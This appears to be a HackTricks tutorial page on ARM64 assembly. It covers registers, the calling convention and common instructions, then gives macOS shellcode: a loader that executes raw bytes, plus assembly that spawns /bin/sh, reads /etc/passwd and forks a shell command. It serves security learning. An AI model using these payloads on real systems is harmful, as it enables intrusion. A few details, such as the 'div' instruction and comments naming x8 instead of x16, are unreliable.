19 KiB
Introduction to ARM64
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Introduction to ARM64
ARM64, also known as ARMv8-A, is a 64-bit processor architecture used in various types of devices including smartphones, tablets, servers, and even some high-end personal computers (macOS). It's a product of ARM Holdings, a company known for its energy-efficient processor designs.
Registers
ARM64 has 31 general-purpose registers, labeled x0
through x30
. Each can store a 64-bit (8-byte) value. For operations that require only 32-bit values, the same registers can be accessed in a 32-bit mode using the names w0 through w30.
x0
tox7
- These are typically used as scratch registers and for passing parameters to subroutines.x0
also carries the return data of a function
x8
- In the Linux kernel,x8
is used as the system call number for thesvc
instruction. In macOS the x16 is the one used!x9
tox15
- More temporary registers, often used for local variables.x16
andx17
- Temporary registers, also used for indirect function calls and PLT (Procedure Linkage Table) stubs.x16
is used as the system call number for thesvc
instruction.
x18
- Platform register. On some platforms, this register is reserved for platform-specific uses.x19
tox28
- These are callee-saved registers. A function must preserve these registers' values for its caller.x29
- Frame pointer.x30
- Link register. It holds the return address when aBL
(Branch with Link) orBLR
(Branch with Link to Register) instruction is executed.sp
- Stack pointer, used to keep track of the top of the stack.pc
- Program counter, which points to the next instruction to be executed.
Calling Convention
The ARM64 calling convention specifies that the first eight parameters to a function are passed in registers x0
through x7
. Additional parameters are passed on the stack. The return value is passed back in register x0
, or in x1
as well if it's 128 bits. The x19
to x30
and sp
registers must be preserved across function calls.
When reading a function in assembly, look for the function prologue and epilogue. The prologue usually involves saving the frame pointer (x29
), setting up a new frame pointer, and allocating stack space. The epilogue usually involves restoring the saved frame pointer and returning from the function.
Common Instructions
ARM64 instructions generally have the format opcode dst, src1, src2
, where opcode
is the operation to be performed (such as add
, sub
, mov
, etc.), dst
is the destination register where the result will be stored, and src1
and src2
are the source registers. Immediate values can also be used in place of source registers.
mov
: Move a value from one register to another.- Example:
mov x0, x1
— This moves the value fromx1
tox0
.
- Example:
ldr
: Load a value from memory into a register.- Example:
ldr x0, [x1]
— This loads a value from the memory location pointed to byx1
intox0
.
- Example:
str
: Store a value from a register into memory.- Example:
str x0, [x1]
— This stores the value inx0
into the memory location pointed to byx1
.
- Example:
ldp
: Load Pair of Registers. This instruction loads two registers from consecutive memory locations. The memory address is typically formed by adding an offset to the value in another register.- Example:
ldp x0, x1, [x2]
— This loadsx0
andx1
from the memory locations atx2
andx2 + 8
, respectively.
- Example:
stp
: Store Pair of Registers. This instruction stores two registers to consecutive memory locations. The memory address is typically formed by adding an offset to the value in another register.- Example:
stp x0, x1, [x2]
— This storesx0
andx1
to the memory locations atx2
andx2 + 8
, respectively.
- Example:
add
: Add the values of two registers and store the result in a register.- Example:
add x0, x1, x2
— This adds the values inx1
andx2
together and stores the result inx0
.
- Example:
sub
: Subtract the values of two registers and store the result in a register.- Example:
sub x0, x1, x2
— This subtracts the value inx2
fromx1
and stores the result inx0
.
- Example:
mul
: Multiply the values of two registers and store the result in a register.- Example:
mul x0, x1, x2
— This multiplies the values inx1
andx2
and stores the result inx0
.
- Example:
div
: Divide the value of one register by another and store the result in a register.- Example:
div x0, x1, x2
— This divides the value inx1
byx2
and stores the result inx0
.
- Example:
bl
: Branch with link, used to call a subroutine. Stores the return address inx30
.- Example:
bl myFunction
— This calls the functionmyFunction
and stores the return address inx30
.
- Example:
blr
: Branch with Link to Register, used to call a subroutine where the target is specified in a register. Stores the return address inx30
.- Example:
blr x1
— This calls the function whose address is contained inx1
and stores the return address inx30
.
- Example:
ret
: Return from subroutine, typically using the address inx30
.- Example:
ret
— This returns from the current subroutine using the return address inx30
.
- Example:
cmp
: Compare two registers and set condition flags.- Example:
cmp x0, x1
— This compares the values inx0
andx1
and sets the condition flags accordingly.
- Example:
b.eq
: Branch if equal, based on the previouscmp
instruction.- Example:
b.eq label
— If the previouscmp
instruction found two equal values, this jumps tolabel
.
- Example:
b.ne
: Branch if Not Equal. This instruction checks the condition flags (which were set by a previous comparison instruction), and if the compared values were not equal, it branches to a label or address.- Example: After a
cmp x0, x1
instruction,b.ne label
— If the values inx0
andx1
were not equal, this jumps tolabel
.
- Example: After a
cbz
: Compare and Branch on Zero. This instruction compares a register with zero, and if they are equal, it branches to a label or address.- Example:
cbz x0, label
— If the value inx0
is zero, this jumps tolabel
.
- Example:
cbnz
: Compare and Branch on Non-Zero. This instruction compares a register with zero, and if they are not equal, it branches to a label or address.- Example:
cbnz x0, label
— If the value inx0
is non-zero, this jumps tolabel
.
- Example:
adrp
: Compute the page address of a symbol and store it in a register.- Example:
adrp x0, symbol
— This computes the page address ofsymbol
and stores it inx0
.
- Example:
ldrsw
: Load a signed 32-bit value from memory and sign-extend it to 64 bits.- Example:
ldrsw x0, [x1]
— This loads a signed 32-bit value from the memory location pointed to byx1
, sign-extends it to 64 bits, and stores it inx0
.
- Example:
stur
: Store a register value to a memory location, using an offset from another register.- Example:
stur x0, [x1, #4]
— This stores the value inx0
into the memory ddress that is 4 bytes greater than the address currently inx1
.
- Example:
-
svc
: Make a system call. It stands for "Supervisor Call". When the processor executes this instruction, it switches from user mode to kernel mode and jumps to a specific location in memory where the kernel's system call handling code is located.-
Example:
mov x8, 93 ; Load the system call number for exit (93) into register x8. mov x0, 0 ; Load the exit status code (0) into register x0. svc 0 ; Make the system call.
-
macOS
syscalls
Check out syscalls.master.
Shellcodes
To compile:
{% code overflow="wrap" %}
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
{% endcode %}
To extract the bytes:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
C code to test the shellcode
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Taken from here and explained.
{% tabs %} {% tab title="with adr" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{% endtab %}
{% tab title="with stack" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
{% endtab %} {% endtabs %}
Read with cat
The goal is to execute execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, so the second argument (x1) is an array of params (which in memory these means a stack of the addresses).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Invoke command with sh from a fork so the main process is not killed
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
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- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.